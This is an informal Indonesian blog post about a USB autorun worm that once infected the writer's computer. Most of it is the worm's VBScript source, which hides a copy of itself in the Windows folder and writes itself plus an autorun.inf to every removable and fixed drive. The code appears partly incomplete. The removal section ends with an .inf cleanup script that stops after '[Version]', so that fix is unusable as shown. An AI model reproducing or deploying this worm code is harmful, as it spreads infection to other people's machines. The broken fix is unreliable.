Permasalahan
lagi dulu pas sma,lagi nyolokin flash disk bwt meng-update antivirus, eh lupa mati'in autorun nya,
waktu autorunnya jalan yah Virus masuk dah....
jadi pengen tau skript firus ini sebenarnya seperti apa??????

Setelah dapet pengetahuan sedikit ttg virus, baru bisa tau skript virus yang lagi dulu menyerang komputer saya itu seperti apa..

skriptnya seperti ini:

terdiri dari beberapa bagian seperti di bawah ini
1. bagian yang berhubungan dengan file autorun nya:
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe xxx.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

2. bagian tubuhnya
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\k4l0n6-x.dll.vbs “)
tf.attributes = 32
set tf = fs.createtextfile(windowpath & “\k4l0n6-x.dll.vbs”,2,true)
tf.write rekur
tf.close
set tf = fs.getfile(windowpath & “\k4l0n6-x.dll.vbs”)
tf.attributes = 39
(bagian untuk menyebar dengan autorun)
for each desades in fs.drives

If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path <> “A:” then

set tf=fs.getfile(desades.path &”\k4l0n6ms32.dll.vbs”)
tf.attributes =32
set tf=fs.createtextfile(desades.path &”\k4l0n6ms32.dll.vbs”,2,true)
tf.write rekur
tf.close
set tf=fs.getfile(desades.path &”\k4l0n6ms32.dll.vbs”)
tf.attributes = 39

set tf =fs.getfile(desades.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(desades.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(desades.path &”\autorun.inf”)
tf.attributes=39
end if
next

skript di atas di ketik pada notepad dan disimpan dalam ekstensi (.dll.vbs)

wah setelah tau scriptnya jadi pengen nyari tau cara menghentikannya,,,,,

ternyata caranya gampang tinggal matiin proses "wscript.exe." lewat taskmanager

trus delet file induknya

atau klo gak bisa ketikkin script di bawah dan simpan dg ekstensi(.inf):

[Version]

setelah selesai klik kanan pada file .inf yang anda bikin dan install...

insya'allah virusnya keremove.....
